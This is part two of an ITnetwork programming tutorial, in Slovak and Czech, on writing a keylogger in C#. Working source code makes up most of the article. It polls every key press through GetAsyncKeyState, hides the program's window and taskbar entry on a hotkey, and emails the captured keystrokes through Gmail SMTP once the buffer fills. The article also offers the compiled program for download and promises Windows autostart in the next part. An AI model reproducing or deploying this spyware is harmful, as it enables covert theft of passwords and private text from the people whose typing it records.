IT rekvalifikace s garancí práce. Seniorní programátoři vydělávají až 160 000 Kč/měsíc a rekvalifikace je prvním krokem. Zjisti, jak na to!
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Jednoduchý keyloggery v C # 2: Zachytávanie klávesov

V minulom tutoriále sme si pripravili formulár a základné kód pre tvorbu jednoduchého keyloggerov.

Dnes budeme pokračovať a to vytvorením triedy pre zachytávanie klávesov. Nazveme ju "Key". V tejto triede budeme zachytávať a nahrádzať znaky. Kód bude vysvetlený formou komentárov.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger
{
    public static class Key
    {
    // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu
        [DllImport("User32.dll")] // budeme používat tuto knihovnu
        private static extern short GetAsyncKeyState(int vKey);

    /* Metoda pro nahrazování znaků.
     * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda
     * se postará o to, aby nahradila slovo Space jiným textem, v naše případě
     * se slova "Space" nahradí skutečnou mezerou, tedy " ".
     * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx
     */
        public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            text = text.Replace("LShiftKey", "");
            text = text.Replace("ShiftKey", "");
            text = text.Replace("OemQuotes", "!");
            text = text.Replace("Oemcomma", "?");
            text = text.Replace("D8", "á");
            text = text.Replace("D2", "ě");
            text = text.Replace("D3", "š");
            text = text.Replace("D4", "č");
            text = text.Replace("D5", "ř");
            text = text.Replace("D6", "ž");
            text = text.Replace("D7", "ý");
            text = text.Replace("D9", "í");
            text = text.Replace("D0", "é");
            text = text.Replace("Back", "<==");
            text = text.Replace("LButton", "");
            text = text.Replace("RButton", "");
            text = text.Replace("NumPad", "");
            text = text.Replace("OemPeriod", ".");
            text = text.Replace("OemSemicolon", ",");
            text = text.Replace("Oem4", "/");
            text = text.Replace("LControlKey", "");
            text = text.Replace("ControlKey", "<CTRL>");
            text = text.Replace("Enter", "<ENT>");
            text = text.Replace("Shift", "");
            return text;
        }

    // zde probíhá samotné zachytávání znaků
        public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak
                    buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu
            }
            return buffer; // vrátí řetězec
        }
    }
}

Tak, pred niekoľkými okamihmi sme vytvorili metódu, ktorá nám spracováva stlačenia klávesov. Teraz je čas túto metódu použiť :) Použijeme ju v timera tCheckKey

private void tCheckKey_Tick(object sender, EventArgs e)
{
    tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
}

Je čas začať náš keyloggerov skrývať. Budeme ho chcieť skrývať napríklad pri rýchlom stlačení kláves "123" a odkrývať pri rýchlom stlačení kláves "456". Použijeme teda timer tCheckHide

private void tCheckHide_Tick(object sender, EventArgs e)
{
    if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí,
    {
        this.Hide(); // skryj okno
        this.ShowInTaskbar = false; // skryj ho i z lišty
    }
    else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí,
    {
        this.Show(); // odkrej okno
        this.ShowInTaskbar = true; // ukaž program na liště
    }
}

Teraz už program môžete spustiť :) Ako vidíte, záznamy klávesov nám pri kliknutí na tlačidlo Štart fungujú skvele, avšak vám nepôjde skryť a odkryť keyloggerov, ak už budete mať nejaký text v poli pre text, teda v textbox. Pýtate sa prečo? Pozrite sa na predchádzajúcu kód. Vidíme, že skrytie prebehne, ak je v textbox kód pre skrytie samostatne. Teda textbox nesmie obsahovať žiadne iné znaky, iba "123". A preto tu máme tretí timer tClearField. V tomto timera sa postaráme o vyprázdňovanie textbox a ukladanie záznamu do nejakej premennej. Premennou je potrebné vytvoriť mimo udalosť timera. Takže každú sec sa nám vyprázdnia textbox a jeho obsah sa uloží do nejakej premennej.

string sBuffer = "";

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno
}

A je to, v súčasnej dobe máte funkčnú keyloggerov. Má to však ešte jeden malý háčik. Záznam sa nám nikam neukladá / neposiela. Takže je nám to zatiaľ celé je pre okrasu. Poďme si teda vytvoriť triedu pre odosielanie emailu. :) Nazvime ju treba Email.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;
using System.Net;

namespace KeyLogger
{
    public class Email
    {
        public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }
    }
}

Teraz už je odosielaní emailu správne použiť. Upravíme si teda ešte timer tClearField a doplníme ho o kód pre odoslanie.

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno

    // Pokud je délka delší, než požadovaná délka
    if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000.
    {
        // odešleme email
        Email.SendLog("smtp.gmail.com", "587", "[email protected]",
            "vaseHesloProOdesilaciEmail", "[email protected]",
            "TemaEmailu (nadpis)", sBuffer);
        sBuffer = ""; // po odeslání vyprázdníme buffer
    }
}

A je to, teraz máte funkčné keyloggerov. Môžeme si ho ešte vylepšiť o možnosť zapínania po štarte Windows a tiež o prehľadnosť. Teda, aby sme vedeli v akom okne bol text písaný :) Na to sa pozrieme Nabudúce.


 

Stiahnuť

Stiahnutím nasledujúceho súboru súhlasíš s licenčnými podmienkami

Stiahnuté 1171x (75.28 kB)
Aplikácia je vrátane zdrojových kódov v jazyku C#

 

Všetky články v sekcii
C # - Pre pokročilých
Článok pre vás napísal Mediel
Avatar
Užívateľské hodnotenie:
Ešte nikto nehodnotil, buď prvý!
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD
Aktivity